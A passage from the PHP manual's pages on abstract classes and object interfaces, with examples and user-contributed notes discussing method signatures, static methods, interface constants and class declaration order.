    public function prefixValue($prefix) {
        return "{$prefix}ConcreteClass2";
    }
}

$class1 = new ConcreteClass1;
$class1->printOut();
echo $class1->prefixValue('FOO_') ."\n";

$class2 = new ConcreteClass2;
$class2->printOut();
echo $class2->prefixValue('FOO_') ."\n";
?>

The above example will output:

ConcreteClass1
FOO_ConcreteClass1
ConcreteClass2
FOO_ConcreteClass2

Example #2 Abstract class example

<?php
abstract class AbstractClass
{
    // Our abstract method only needs to define the required arguments
    abstract protected function prefixName($name);

}

class ConcreteClass extends AbstractClass
{

    // Our child class may define optional arguments not in the parent's signature
    public function prefixName($name, $separator = ".") {
        if ($name == "Pacman") {
            $prefix = "Mr";
        } elseif ($name == "Pacwoman") {
            $prefix = "Mrs";
        } else {
            $prefix = "";
        }
        return "{$prefix}{$separator} {$name}";
    }
}

$class = new ConcreteClass;
echo $class->prefixName("Pacman"), "\n";
echo $class->prefixName("Pacwoman"), "\n";
?>

The above example will output:

Mr. Pacman
Mrs. Pacwoman

Old code that has no user-defined classes or functions named 'abstract' should run without modifications.

User Contributed Notes

aloydev2586 at gmail dot com 25-Sep-2014 06:33
Just in case you are confused about function arguments:

/*************Example 1********************/

abstract class my_class {
     abstract public function my_function($number);
}

class subclass extends my_class {
     public function my_function($new_number, $string = ' is an integer!!!')
     {
          echo $new_number . $string;
     }
}
$var = new subclass();
$var->my_function(1024); //this will output: 1024 is an integer!!!

/*************Example 2********************/
abstract class my_class {
     abstract public function my_function($number);
}

class subclass extends my_class {
    //now $string = ' is a float!!!'
     public function my_function($new_number, $string = ' is a float!!!')
     {
          echo $new_number . $string;
     }

}
$var = new subclass();
//added ' is an integer'
$var->my_function(1024, ' is an integer!!!'); //this will output: 1024 is an integer!!!, rewrote $string.

/*************Example 3********************/

abstract class my_class {
     abstract public function my_function($number);
}

class subclass extends my_class {
     //now $string isn't initialized
     public function my_function($new_number, $string )
     {
          echo $new_number . $string;
     }

}

$var = new subclass();
$var->my_function(1024, ' is an integer!!!'); /*this will trigger a fatal error of incompatibility between subclass::my_function() and my_class::my_function($number)*/

/*************Example 4********************/

abstract class my_class {
     abstract public function my_function($number);
}

class subclass extends my_class {
     public function my_function($new_number, $string )
     {
          echo $new_number . $string;
     }

}
$var = new subclass();
//no second argument, no matter
$var->my_function(1024);//fatal error  too. Optional arguments have to be initialized in the extending class function.
sam at righthandedmonkey dot com 12-Sep-2014 12:43
Please note order or positioning of the classes in your code can affect the interpreter and can cause a Fatal error: Class 'YourClass' not found if there are multiple levels of abstraction out of order.  For example:
<?php
abstract class horse extends animal {
    public function get_breed() { return "Jersey"; }
}

class cart extends horse {
    public function get_breed() { return "Wood"; }
}

abstract class animal {
    public abstract function get_breed();
}

$cart = new cart();
print($cart->get_breed());
?>

this outputs:
Wood

However, if you put the cart before the abstract horse (literally):

<?php
class cart extends horse {
    public function get_breed() { return "Wood"; }
}

abstract class horse extends animal {
    public function get_breed() { return "Jersey"; }
}

abstract class animal {
    public abstract function get_breed();
}

$cart = new cart();
print($cart->get_breed());
?>

this throws an error:
Fatal error: Class 'horse' not found

So, when using multiple levels of abstraction, be careful of the positioning of the classes within the source code - and don't put the cart before the abstract horse.
nikola at petkanski dot com 11-Feb-2014 03:33
Invoking static method of abstract class should be removed.

What interfaces are?
- A mean to ensure all implementation have the same methods implemented.

What is an abstract class?
- It is a interface that can also include some concrete methods.

Is it right for the developer to be able to invoke a static method of an interface?
- I think not.

The GoF teach us to rely on abstract classes and interfaces to hide differences between subclasses from clients.
- Interface defines an object’s use (protocol)
- Implementation defines particular policy

I don't think one should be able to call some abstract logic that is defined inside an abstract class, without even inheriting the class itself.
passerbyxp at gmail dot com 08-Jan-2013 07:56
It's not quite clear in this document, so in case someone wonder, abstract method can be static:

<?php
abstract class FOO
{
    abstract static function dump();
}
class BAR extends FOO
{
    static function dump(){var_dump("BAR");}
}
BAR::dump(); // string(3) "BAR"

class FAULT extends FOO
{
    function pr(){var_export("WTF");}
} // FATAL error
?>
oliver at ananit dot de 27-Nov-2011 05:07
Abstract classes may have an final constructor, and sometime it makes sense to implement a class with a final constructor.

<?php
abstract class AbstractModel
{
    //our models must use the default constuctor
        public final function __construct(){}
    public function inject($array){
        foreach(array_keys(get_class_vars(get_called_class()))  as $property){
            $this->$property = $array[$property];
        }
    }
}

class ProductModel extends AbstractModel
{
    public $name;
    public $price;
    protected $id;

    public function getId(){return $this->id;}
}

class Factory{
    private $dataSource;
    public function __consruct($dataSource){
        $this->dataSource = $dataSource;
    }

    public function get($class, $table, $filter, $orderby, $limit){
        $result = array();
        foreach($datasource->fetchAssoc($table, $filter, $orderby, $limit) as $rawData){
            $obj = new $class();//this can only work if ALL models have a default constructor
            $obj->inject($rawData);
            $result[] = $obj;
        }
        return $result;
    }
}
?>

Note: This is a very simple example, and I am aware that there are other (better) ways to do this.
Oliver Anan
joelhy 01-Jun-2011 04:27
The documentation says: "It is not allowed to create an instance of a class that has been defined as abstract.". It only means you cannot initialize an object from an abstract class. Invoking static method of abstract class is still feasible. For example:
<?php
abstract class Foo
{
    static function bar()
    {
        echo "test\n";
    }
}

Foo::bar();
?>
a dot tsiaparas at watergate dot gr 27-Mar-2011 12:57
Abstraction and interfaces are two very different tools. The are as close as hammers and drills. Abstract classes may have implemented methods, whereas interfaces have no implementation in themselves.

Abstract classes that declare all their methods as abstract are not interfaces with different names. One can implement multiple interfaces, but not extend multiple classes (or abstract classes).

The use of abstraction vs interfaces is problem specific and the choice is made during the design of software, not its implementation. In the same project you may as well offer an interface and a base (probably abstract) class as a reference that implements the interface. Why would you do that?

Let us assume that we want to build a system that calls different services, which in turn have actions. Normally, we could offer a method called execute that accepts the name of the action as a parameter and executes the action.

We want to make sure that classes can actually define their own ways of executing actions. So we create an interface IService that has the execute method. Well, in most of your cases, you will be copying and pasting the exact same code for execute.

We can create a reference implemention for a class named Service and implement the execute method. So, no more copying and pasting for your other classes! But what if you want to extend MySLLi?? You can implement the interface (copy-paste probably), and there you are, again with a service. Abstraction can be included in the class for initialisation code, which cannot be predefined for every class that you will write.

Hope this is not too mind-boggling and helps someone. Cheers,
Alexios Tsiaparas
designbyjeeba at gmail dot com 26-Dec-2010 03:29
Please be aware of the visibility of the parent fields. If the fields are private, then you are not going to see those fields in their childrens. Its basic OOP, but can be problematic sometimes.
bishop 28-Jul-2010 07:36
Incidentally, abstract classes do not need to be base classes:

<?php
class Foo {
    public function sneeze() { echo 'achoooo'; }
}

abstract class Bar extends Foo {
    public abstract function hiccup();
}

class Baz extends Bar {
    public function hiccup() { echo 'hiccup!'; }
}

$baz = new Baz();
$baz->sneeze();
$baz->hiccup();
?>
mbajoras at gmail dot com 01-Jan-2010 08:59
Here's an example that helped me with understanding abstract classes. It's just a very simple way of explaining it (in my opinion). Lets say we have the following code:

<?php
class Fruit {
    private $color;

    public function eat() {
        //chew
    }

    public function setColor($c) {
        $this->color = $c;
    }
}

class Apple extends Fruit {
    public function eat() {
        //chew until core
    }
}

class Orange extends Fruit {
    public function eat() {
        //peel
        //chew
    }
}
?>

Now I give you an apple and you eat it.

<?php
$apple = new Apple();
$apple->eat();
?>

What does it taste like? It tastes like an apple. Now I give you a fruit.

<?php
$fruit = new Fruit();
$fruit->eat();
?>

What does that taste like??? Well, it doesn't make much sense, so you shouldn't be able to do that. This is accomplished by making the Fruit class abstract as well as the eat method inside of it.

<?php
abstract class Fruit {
    private $color;

    abstract public function eat();

    public function setColor($c) {
        $this->color = $c;
    }
}
?>

Now just think about a Database class where MySQL and PostgreSQL extend it. Also, a note. An abstract class is just like an interface, but you can define methods in an abstract class whereas in an interface they are all abstract.
nathan dot vorbei dot tech at gmail dot com 17-Nov-2009 07:55
"additionally, these methods must be defined with the same (or a less restricted) visibility."

The words were not restricted in abstract class but also normal classes,
the method in child Class which overwrites the parent Class can also change the the visibility of the method to same or less restricted.
for example:
<?php
class ClassOne {
    protected static $staticone = 'nathan';
    protected function changestaticone() {
        return self::$staticone = 'john';
    }
}

class ClassTwo extends ClassOne {
    public function changestaticone() {
        return self::$staticone = 'Alexey';
    }
}
$classtwo = new ClassTwo();
echo $classtwo->changestaticone();
pete at surfaceeffect dot com 13-Oct-2009 11:49
One fairly important difference between php's abstract functions and, say, Java, is that php does not specify the return type in any way - or indeed whether there has to be one.

<?php public abstract function square($number); ?>

could be implemented by...

<?php
public function square($number) {
   return $number*$number;
}
?>

or

<?php
public function square($number) {
   print ($number*$number);
}
?>

So you need to take care that incompatibilities don't arise due to not returning the right kind of value and this is not enforced in any way.
Cheese Doodle 23-Sep-2009 01:13
There isn't really that much of a great hurdle in understanding these things, there really isn't.

If you're defining a new class that is abstract, it means that you can make some non-abstract functions that you can use to define the general underlying behavior of that class along side abstract ones.

In interfaces, you can't do that since functions defined therewithin cannot have a body.

Abstract functions you use for classes that must define more specific behavior when "extending" your class.

So for a crude example - define by your non-abstract functions how that particular object (which may be part of a larger class hierarchy) would store and process it's data in SQL, XML, etc.

Then define abstract functions which allow someone implementing that class to specifically manipulate the data that is to be stored. Then require a format which this data must be returned in, and then in your non-abstract functions call those functions on destruction, in normal runtime, and so on.

Again, non-abstract functions, or even another class could implement the finer points of ensuring that data is in the correct format, and so on, ad infinitum.

It isn't too much of a reach to say that if you used a normal class instead of an abstract class, then there isn't much intrinsic requirement between the two classes.

Assuming that you wanted the functions to use each-others functions and you'd need to use them specifically by name, you'd have to write some code which checked to see -- lamely using function_exists() and other lamery -- if that class has the function you require for interoperability, when you could avoid all possible confusion and headaches by simply using the right tool for the job.

And reading a decent OOP book.
eeescalona 03-Jun-2008 06:04
here is a real world example of abstract using:

a (abstract) person class
a student and an employee final class, which extends person class.

simple theory is that both student and employee is an extension of the person class.  the difference lies on which table the data is written on, and what other pre processing (ie mandatory field checking, type checking, etc.) needed before writing each of the classes.

codes:

<?php

abstract class person {

    abstract protected function write_info();

    public $LastName;
    public $FirstName;
    public $BirthDate;

    public function get_Age($today=NULL){
        //age computation function
    }
}

final class employee extends person{
    public $EmployeeNumber;
    public $DateHired;

    public function write_info(){
        echo "Writing ". $this->LastName . "'s info to emloyee dbase table";
        //ADD unique mandatory checking unique to EMPLOYEE ONLY
        //actual sql codes here
    }
}

final class student extends person{
    public $StudentNumber;
    public $CourseName;

    public function write_info(){
        echo "Writing ". $this->LastName . "'s info to student dbase table";
        //ADD unique mandatory checking unique to STUDENT ONLY
        //actual sql codes here
    }
}

///----------
$personA = new employee;
$personB = new student;

$personA->FirstName="Joe";
$personA->LastName="Sbody";

$personB->FirstName="Ben";
$personB->LastName="Dover";

$personA->write_info();
?>

OUTPUT:Writing Sbody's info to emloyee dbase table
ironiridis at gmail dot com 27-Mar-2008 10:56
Just one more time, in the simplest terms possible:

An Interface is like a protocol. It doesn't designate the behavior of the object; it designates how your code tells that object to act. An interface would be like the English Language: defining an interface defines how your code communicates with any object implementing that interface.

An interface is always an agreement or a promise. When a class says "I implement interface Y", it is saying "I promise to have the same public methods that any object with interface Y has".

On the other hand, an Abstract Class is like a partially built class. It is much like a document with blanks to fill in. It might be using English, but that isn't as important as the fact that some of the document is already written.

An abstract class is the foundation for another object. When a class says "I extend abstract class Y", it is saying "I use some methods or properties already defined in this other class named Y".

So, consider the following PHP:
<?php
class X implements Y { } // this is saying that "X" agrees to speak language "Y" with your code.

class X extends Y { } // this is saying that "X" is going to complete the partial class "Y".
?>

You would have your class implement a particular interface if you were distributing a class to be used by other people. The interface is an agreement to have a specific set of public methods for your class.

You would have your class extend an abstract class if you (or someone else) wrote a class that already had some methods written that you want to use in your new class.

These concepts, while easy to confuse, are specifically different and distinct. For all intents and purposes, if you're the only user of any of your classes, you don't need to implement interfaces.
sneakyimp at hotmail dot com 10-Oct-2007 02:05
Ok...the docs are a bit vague when it comes to an abstract class extending another abstract class.  An abstract class that extends another abstract class doesn't need to define the abstract methods from the parent class.  In other words, this causes an error:

<?php
abstract class class1 {
  abstract public function someFunc();
}
abstract class class2 extends class1 {
  abstract public function someFunc();
}
?>

Error: Fatal error: Can't inherit abstract function class1::someFunc() (previously declared abstract in class2) in /home/sneakyimp/public/chump.php on line 7

However this does not:

<?php
abstract class class1 {
  abstract public function someFunc();
}
abstract class class2 extends class1 {
}
?>

An abstract class that extends an abstract class can pass the buck to its child classes when it comes to implementing the abstract methods of its parent abstract class.
joebert 24-Jun-2007 01:09
I don't agree with jfkallens' last comparison between Abstract Classes & Object Interfaces completely.

In an Abstract Class, you can define how some methods work, where as in an Object Interface you can not.

An Object Interface is essentually nothing but a list of function names that a class must define if the class implements that interface.

An Abstract Class is essentually a prototype which hints towards what extending classes should be doing.
An Abstract Class can also be thought of as a Base Class that provides some basic functionality, & also defines a built-in Object Interface that all extending classes will implement.

So, an Object Interface is really a built-in part of an Abstract Class.


Object Interfaces

Object interfaces allow you to create code which specifies which methods a class must implement, without having to define how these methods are handled.

Interfaces are defined using the interface keyword, in the same way as a standard class, but without any of the methods having their contents defined.

All methods declared in an interface must be public; this is the nature of an interface.

implements

To implement an interface, the implements operator is used. All methods in the interface must be implemented within a class; failure to do so will result in a fatal error. Classes may implement more than one interface if desired by separating each interface with a comma.

Note:

Prior to PHP 5.3.9, a class could not implement two interfaces that specified a method with the same name, since it would cause ambiguity. More recent versions of PHP allow this as long as the duplicate methods have the same signature.

Note:

Interfaces can be extended like classes using the extends operator.

Note:

The class implementing the interface must use the exact same method signatures as are defined in the interface. Not doing so will result in a fatal error.

Constants

It's possible for interfaces to have constants. Interface constants works exactly like class constants except they cannot be overridden by a class/interface that inherits them.

Examples

Example #1 Interface example

<?php

// Declare the interface 'iTemplate'
interface iTemplate
{
    public function setVariable($name, $var);
    public function getHtml($template);
}

// Implement the interface
// This will work
class Template implements iTemplate
{
    private $vars = array();

    public function setVariable($name, $var)
    {
        $this->vars[$name] = $var;
    }

    public function getHtml($template)
    {
        foreach($this->vars as $name => $value) {
            $template = str_replace('{' . $name . '}', $value, $template);
        }

        return $template;
    }
}

// This will not work
// Fatal error: Class BadTemplate contains 1 abstract methods
// and must therefore be declared abstract (iTemplate::getHtml)
class BadTemplate implements iTemplate
{
    private $vars = array();

    public function setVariable($name, $var)
    {
        $this->vars[$name] = $var;
    }
}
?>

Example #2 Extendable Interfaces

<?php
interface a
{
    public function foo();
}

interface b extends a
{
    public function baz(Baz $baz);
}

// This will work
class c implements b
{
    public function foo()
    {
    }

    public function baz(Baz $baz)
    {
    }
}

// This will not work and result in a fatal error
class d implements b
{
    public function foo()
    {
    }

    public function baz(Foo $foo)
    {
    }
}
?>

Example #3 Multiple interface inheritance

<?php
interface a
{
    public function foo();
}

interface b
{
    public function bar();
}

interface c extends a, b
{
    public function baz();
}

class d implements c
{
    public function foo()
    {
    }

    public function bar()
    {
    }

    public function baz()
    {
    }
}
?>

Example #4 Interfaces with constants

<?php
interface a
{
    const b = 'Interface constant';
}

// Prints: Interface constant
echo a::b;

// This will however not work because it's not allowed to
// override constants.
class b implements a
{
    const b = 'Class constant';
}
?>

An interface, together with type-hinting, provides a good way to make sure that a particular object contains particular methods. See instanceof operator and type hinting.

User Contributed Notes

marcoshoya at gmail dot com 01-Sep-2014 05:48
You can change some methods signature from interface if you pass parameters with default values. For instance:

<?php

interface Foo {
  public function foo($foo);
}

class Bar implements Foo {
  public function foo($foo, $bar = null) {
    return $foo . $bar;
  }
}

$bar = new Bar();
// output: worksfine
echo $bar->foo('works', 'fine');
williebegoode at att dot net 10-Aug-2014 07:42
In their book on Design Patterns, Erich Gamma and his associates (AKA: "The Gang of Four") use the term "interface" and "abstract class" interchangeably. In working with PHP and design patterns, the interface, while clearly a "contract" of what to include in an implementation is also a helpful guide for both re-use and making changes. As long as the implemented changes follow the interface (whether it is an interface or abstract class with abstract methods), large complex programs can be safely updated without having to re-code an entire program or module.

In PHP coding with object interfaces (as a keyword) and "interfaces" in the more general context of use that includes both object interfaces and abstract classes, the purpose of "loose binding" (loosely bound objects) for ease of change and re-use is a helpful way to think about both uses of the  term "interface." The focus shifts from "contractual" to "loose binding" for the purpose of cooperative development and re-use.
thomas tulinsky 26-Jun-2014 06:37
to dlovell2011 at yahoo dot com wrote:
It seems like many contributors are missing the point of using an INTERFACE. An INTERFACE is not specifically provided for abstraction.
...
An INTERFACE is provided so you can describe a set of functions and then hide the final implementation of those functions in an implementing class. This allows you to change the IMPLEMENTATION of those functions without changing how you use it.
--------------
I believe the unique thing that Interfaces provide is to support the same functions in different classes that are **not descended from a common ancestor**.
Different implementations of the same functions does not need interfaces--it can be achieved through subclasses.
Vasiliy Makogon 07-Feb-2014 08:38
The class implementing the interface must use the exact same method signatures as are defined in the interface. Not doing so will result in a fatal error. -- this documentation page.

But, if you use default values in arguments in methods, fatal error is not follow:

<?php
interface myInterface {
    public function __construct();
}

class concret implements myInterface {

    public function __construct($arg=null)
    {
        print_r(func_get_args());
    }
}

$obj = new concret(123);
?>

Array ( [0] => 123 )
bombis at lacerta dot uberspace dot de 06-Feb-2014 04:41
simple example :)

<?php
interface testThis
{
public function alpha();
public function beta();
}

trait setInterface
{
public  function alpha()
{
echo __function__." wurde implementiert";
}
}

class b
{
public function beta()
{
echo __function__." wurde implementiert";
}
}

class a extends b implements testThis
{

use setInterface;

/*
public  function alpha()
{
echo __function__." wurde implementiert";
}

public function beta()
{
echo __function__." wurde implementiert";
}
*/

public function __construct()
{
echo "wat geht? <br>";
}

}

$testInterface = new a();
$testInterface ->alpha();
echo "<br>";
$testInterface ->beta();
?>
phpnet at barrystaes dot nl 05-Feb-2014 10:21
Despite my expectations, it seems PHP does not support variables of type interface!? (using PHP 5.5)
<?php
interface InterfaceText {
  public function setText($text);
}
class Sticker implements InterfaceText {
  public function setText($text);
}

// While this is possible:
$Cool = new Sticker ();

// You can not make interface variables.
$IntfCool = new InterfaceText($Cool);
// ^ Fatal error: Cannot instantiate interface InterfaceText()

// or cast them directly:
$IntfCool = InterfaceText($Cool);
// ^ Fatal error: Call to undefined function InterfaceText()
?>
Being used to what other languages allow Interfaces, it seems PHP has no runtime support, i now see it a static class that generates parse-warnings to force implementation.
tkostantinov 03-Dec-2013 07:58
Implementation must be strict, subtypes are not allowed.

"The class implementing the interface must use the EXACT SAME METHOD SIGNATURES as are defined in the interface. Not doing so will result in a fatal error. "

<?php

interface I
{
  function foo(stdClass $arg);
}

class Test extends stdClass
{
}

class Implementation implements I
{
  function foo(Test $arg)
    {
    }
}
?>
Result:

Fatal error: Declaration of InterfaceImplementation::foo() must be compatible with I::foo(stdClass $arg) in test.php on line XY
Vladimir Kornea 15-Jul-2013 07:55
By asking your colleague to implement your interface, you are asking him to guarantee that he has implemented all the methods you need. He can implement multiple interfaces, each being a contract, so that the guy cleaning the cruft down the road can see which methods belong to which area of concern; but since interfaces are primarily contracts rather than documentation, a class cannot implement two interfaces containing the same method since that would make the contract lose credibility through ambiguity. Thus a class can implement two interfaces with overlapping concerns only by factoring their common methods into a third interface that serves as a base for the first two, which resolves the contractual ambiguity.
Vladimir Kornea 27-Jun-2013 04:34
By asking your colleague to implement your interface, you are asking him to guarantee that he has implemented all the methods you need. He can implement multiple interfaces, each being a contract, so that the guy cleaning up the cruft down the road can see which methods belong to which area of concern; but since interfaces are primarily contracts rather than documentation, a class cannot implement two interfaces containing the same method since that would make the contract lose credibility through ambiguity. Thus a class can implement two interfaces with overlapping concerns only by factoring their common methods into a third interface that serves as a base for the first two, which resolves the contractual ambiguity.
dlovell2001 at yahoo dot com 04-Feb-2012 07:40
It seems like many contributors are missing the point of using an INTERFACE. An INTERFACE is not specifically provided for abstraction. That's what a CLASS is used for. Most examples in this article of interfaces could be achieved just as easily using just classes alone.

An INTERFACE is provided so you can describe a set of functions and then hide the final implementation of those functions in an implementing class. This allows you to change the IMPLEMENTATION of those functions without changing how you use it.

For example: I have a database. I want to write a class that accesses the data in my database. I define an interface like this:

interface Database {
function listOrders();
function addOrder();
function removeOrder();
...
}

Then let's say we start out using a MySQL database. So we write a class to access the MySQL database:

class MySqlDatabase implements Database {
function listOrders() {...
}
we write these methods as needed to get to the MySQL database tables. Then you can write your controller to use the interface as such:

$database = new MySqlDatabase();
foreach ($database->listOrders() as $order) {

Then let's say we decide to migrate to an Oracle database. We could write another class to get to the Oracle database as such:

class OracleDatabase implements Database {
public function listOrders() {...
}

Then - to switch our application to use the Oracle database instead of the MySQL database we only have to change ONE LINE of code:

$database = new OracleDatabase();

all other lines of code, such as:

foreach ($database->listOrders() as $order) {

will remain unchanged. The point is - the INTERFACE describes the methods that we need to access our database. It does NOT describe in any way HOW we achieve that. That's what the IMPLEMENTing class does. We can IMPLEMENT this interface as many times as we need in as many different ways as we need. We can then switch between implementations of the interface without impact to our code because the interface defines how we will use it regardless of how it actually works.
julien arobase fastre point info 12-Dec-2011 08:12
If you use namespaces and autoloading, do not forget to mention the use statement for each class used in yours arguments, before your class:

<?php
#file : fruit/squeezable.php
namespace fruit
use Bar\Foo;

interface squeezable {
  public function squeeze (Foo $foo);
}
?>

<?php
#file: orange

namespace fruit\citrus;

class orange {
  public function squeeze(Foo $foo);
}
#Will throw an exception Fatal error: Declaration of "fruit\citrus\orange::squeeze must be compatible with that of fruit\squeezable() in fruit/squeezable.php
?>

<?php
#file: orange

namespace fruit\citrus;
use Bar\Foo; #DO NOT FORGET THIS!

class orange {
  public function squeeze (Foo $foo);
}
#Will be correct
?>
thanhn2001 at gmail dot com 03-Mar-2011 10:37
PHP prevents interface a contant to be overridden by a class/interface that DIRECTLY inherits it.  However, further inheritance allows it.  That means that interface constants are not final as mentioned in a previous comment.  Is this a bug or a feature?

<?php

interface a
{
    const b = 'Interface constant';
}

// Prints: Interface constant
echo a::b;

class b implements a
{
}

// This works!!!
class c extends b
{
    const b = 'Class constant';
}

echo c::b;
?>
jballard at natoga dot com 06-Jan-2011 10:33
If it isn't already obvious, you can create an object of a class above the class declaration if it does NOT implement an interface. However, when a class DOES implement an interface, PHP will throw a "class not found" error unless the instantiation declaration is _below_ the class definition.

<?php
$bar = new foo(); // Valid

class foo
{

}
?>

<?php
$bar = new foo(); // Invalid - throws fatal error

interface foo2
{

}

class bar implements foo2
{

}

$bar = new foo(); // Valid, since it is below the class declaration

?>

Also, @Jeffrey -- Lol? What? Is that a joke? PHP interfaces have nothing to do with connecting to "peripheral devices" or "cameras", etc. Not even in the least sense. This is a very common miscommunication with the word "interface", as interfaces in programming are not at all like interfaces in electronics or drivers, etc.
Anonymous 13-Aug-2010 09:44
If you want to ensure implementation classes are correctly initialised (i.e. due to trickery one needs to do to work around lack of multiple inheritance), simply add  __construct() to your interface, so risk of init being forgotten is reduced.
drieick at hotmail dot com 23-Feb-2010 06:29
I was wondering if implementing interfaces will take into account inheritance. That is, can inherited methods be used to follow an interface's structure?

<?php

interface Auxiliary_Platform {
    public function Weapon();
    public function Health();
    public function Shields();
}

class T805 implements Auxiliary_Platform {
    public function Weapon() {
        var_dump(__CLASS__);
    }
    public function Health() {
        var_dump(__CLASS__ . "::" . __FUNCTION__);
    }
    public function Shields() {
        var_dump(__CLASS__ . "->" . __FUNCTION__);
    }
}

class T806 extends T805 implements Auxiliary_Platform {
    public function Weapon() {
        var_dump(__CLASS__);
    }
    public function Shields() {
        var_dump(__CLASS__ . "->" . __FUNCTION__);
    }
}

$T805 = new T805();
$T805->Weapon();
$T805->Health();
$T805->Shields();

echo "<hr />";

$T806 = new T806();
$T806->Weapon();
$T806->Health();
$T806->Shields();

/* Output:
string(4) "T805"
string(12) "T805::Health"
string(13) "T805->Shields"
<hr />string(4) "T806"
string(12) "T805::Health"
string(13) "T806->Shields"
*/

?>

Class T805 implements the interface Auxiliary_Platform. T806 does the same thing, but the method Health() is inherited from T805 (not the exact case, but you get the idea). PHP seems to be fine with this and everything still works fine. Do note that the rules for class inheritance doesn't change in this scenario.

If the code were to be the same, but instead T805 (or T806) DOES NOT implement Auxiliary_Platform, then it'll still work. Since T805 already follows the interface, everything that inherits T805 will also be valid. I would be careful about that. Personally, I don't consider this a bug.

This seems to work in PHP5.2.9-2, PHP5.3 and PHP5.3.1 (my current versions).

We could also do the opposite:

<?php

class T805 {
    public function Weapon() {
        var_dump(__CLASS__);
    }
}

class T806 extends T805 implements Auxiliary_Platform {
    public function Health() {
        var_dump(__CLASS__ . "::" . __FUNCTION__);
    }
    public function Shields() {
        var_dump(__CLASS__ . "->" . __FUNCTION__);
    }
}

$T805 = new T805();
$T805->Weapon();

echo "<hr />";

$T806 = new T806();
$T806->Weapon();
$T806->Health();
$T806->Shields();

/* Output:
string(4) "T805"
<hr />string(4) "T805"
string(12) "T806::Health"
string(13) "T806->Shields"
*/

?>

This works as well, but the output is different. I'd be careful with this.
uramihsayibok, gmail, com 10-Feb-2010 08:25
Interfaces can define static methods, but note that this won't make sense as you'll be using the class name and not polymorphism.

...Unless you have PHP 5.3 which supports late static binding:

<?php

interface IDoSomething {
    public static function doSomething();
}

class One implements IDoSomething {
    public static function doSomething() {
        echo "One is doing something\n";
    }
}

class Two extends One {
    public static function doSomething() {
        echo "Two is doing something\n";
    }
}

function example(IDoSomething $doer) {
    $doer::doSomething(); // "unexpected ::" in PHP 5.2
}

example(new One()); // One is doing something
example(new Two()); // Two is doing something

?>

If you have PHP 5.2 you can still declare static methods in interfaces. While you won't be able to call them via LSB, the "implements IDoSomething" can serve as a hint/reminder to other developers by saying "this class has a ::doSomething() method".
Besides, you'll be upgrading to 5.3 soon, right? Right?

(Heh. I just realized: "I do something". Unintentional, I swear!)
rskret at ranphilit dot com 02-Jun-2009 11:47
This may help understand EX.2. Below are modifiers and additions to
the code. Refer to EX.2 to make a complete code block(this saves comment
space!).
I found the function definition baz(Baz $baz) baffling. Lucky was
able to sus it out fast. Seems method baz requires just one arg and
that must be an instance of the class Baz. Here is a way to know how to
deal with that sort of arg...
<?php
# modify iface b...adding $num to get better understanding
interface b extends a
{
    public function baz(Baz $baz,$num);
}
# mod claas c
class c implements b
{
    public function foo()
    {
        echo'foo from class c';
    }
    public function baz(Baz $baz,$num)
    {
        var_dump ($baz);# object(Baz)#2 (1) { ["bb"]=>  string(3) "hot" }
        echo '<br>';
        echo $baz->bb." $num";echo '<br>';# hot 6
    }
}
# add a class Baz...
class Baz
{
    public $bb='hot';
    function ebaz(){
        echo'this is BAZ';
    }
}
# set instance of Baz and get some output...
$bazI=new Baz;
baz::ebaz();echo '<br>';# this is BAZ
c::baz($bazI,6);
?>
cretz 22-Sep-2008 12:49
FYI, interfaces can define constructors, destructors, and magic methods. This can be very helpful especially in the case of constructors when instantiating an implementing class via reflection in some sort of factory. Of course, it is not recommended to do such a thing since it goes against the nature of a true interface.
lazybones_senior 15-Sep-2008 07:41
WHOA! KEEP IT SIMPLE...

With the code below, you already get a feel at how much ground this app might cover.

<?php

interface ElectricalDevice{
  public function power_on();
  public function power_off();
}

interface FrequencyTuner{
  public function get_frequencey();
  public function set_frequency($f);
}

class ElectricFan implements ElectricalDevice{
  // define ElectricalDevice...
}

class MicrowaveOven implements ElectricalDevice{
  // define ElectricalDevice...
}

class StereoReceiver implements ElectricalDevice, FrequencyTuner{
  // define ElectricalDevice...
  // define FrequencyTuner...
}

class CellPhone implements ElectricalDevice, FrequencyTuner{
  // define ElectricalDevice...
  // define FrequencyTuner...
}

?>

Even those who lack imagination can fill in the blanks from here.
secure_admin 14-Sep-2008 11:28
In response to harryjry and mehea concerning your Weather Model. The problem is that you don't need all the things you think you need. In OOP, good class definitions get to the point rather quickly.

<?php
class Weather{
  public $time, $temperature, $humidity;

  public function __construct($tm, $t, $h){
    $this->time = $tm;
    $this->temperature = $t;
    $this->humidity = $h;
  }

  public function __toString(){
    return "Time: $this->time,
      Temperature: $this->temperature&deg;,
      Humidity: $this->humidity%";
  }
}

$forecasts = array(
  new Weather("1:00 pm", 65, 42),
  new Weather("2:00 pm", 66, 40),
  new Weather("3:00 pm", 68, 39)
  // add more weather reports as desired...
);
echo "Forecast for Chicago, IL:<br>";
foreach($forecasts as $forecast) echo ' - ' . $forecast '<br>';
?>
Forecast for Chicago, IL:
- Time: 1:00 pm, Temperature: 65°, Humidity: 42%
- Time: 2:00 pm, Temperature: 66°, Humidity: 40%
- Time: 3:00 pm, Temperature: 68°, Humidity: 39%

Note: MySQL can store data like this already, but if you included constants, more variables, and other functions in the Weather class, then maybe, just maybe it could be of use.
mehea 30-Jul-2008 08:55
While a subclass may implement an interface by extending an abstract class that implements the interface, I question whether it is good design to to do so.  Here's what I would suggest while taking the liberty of modifying the above weather/wet model:

<?php
interface water
{
    public function makeItWet();
}

/**
   * abstract class implements water but defines makeItWet
   * in the most general way to allow child class to
   * provide specificity
**/
abstract class weather implements water
{
   private $cloudy;
   public function makeItWet(){}
   abstract public function start();
   abstract public function getCloudy();
   abstract public function setCloudy();
}

class rain extends weather                            {
    private $cloudy;
    public function start() {
        return "Here's some weather. ";
    }

    public function makeItWet() {
        return 'it is raining cats and dogs today.';
    }
    public function getCloudy() {
        return $this->cloudy;
    }
    public function setCloudy($bln=false) {
        $this->cloudy = $bln;
    }
}

$a = new rain();
echo $a->start();
$a->setCloudy(true);
if ($a->getCloudy()) {
    echo 'It is a cloudy day and ';
}
echo $a->makeItWet();

?>
logik at centrum dot cz 17-Jul-2008 11:17
Makes them useles a bit. I give an example:
I have a class that enumerate (so implements iterator) a interface that has method key() that returns key for the enumerated object.
I cannot implement iterator, that enumerates the objects by itself (so current() returns this), because of collision of method key(). But it's not collision - the key in the iterator and the key in the enumerated object has the same meaning and allways returns same values.
(Common example of this iterator is iterator, that reads from database - make a special object for each row is waste of time).

Yes - there are workarounds - e.g. rewrite the code so current don't return this - but it's in some cases waste of processor time.
Or I can rename the method key in enumerated object - but why should I wrote the same method twice? It's either waste of time (if the function key is simply duplicated) or waste of time (if the renamed key calls original key).
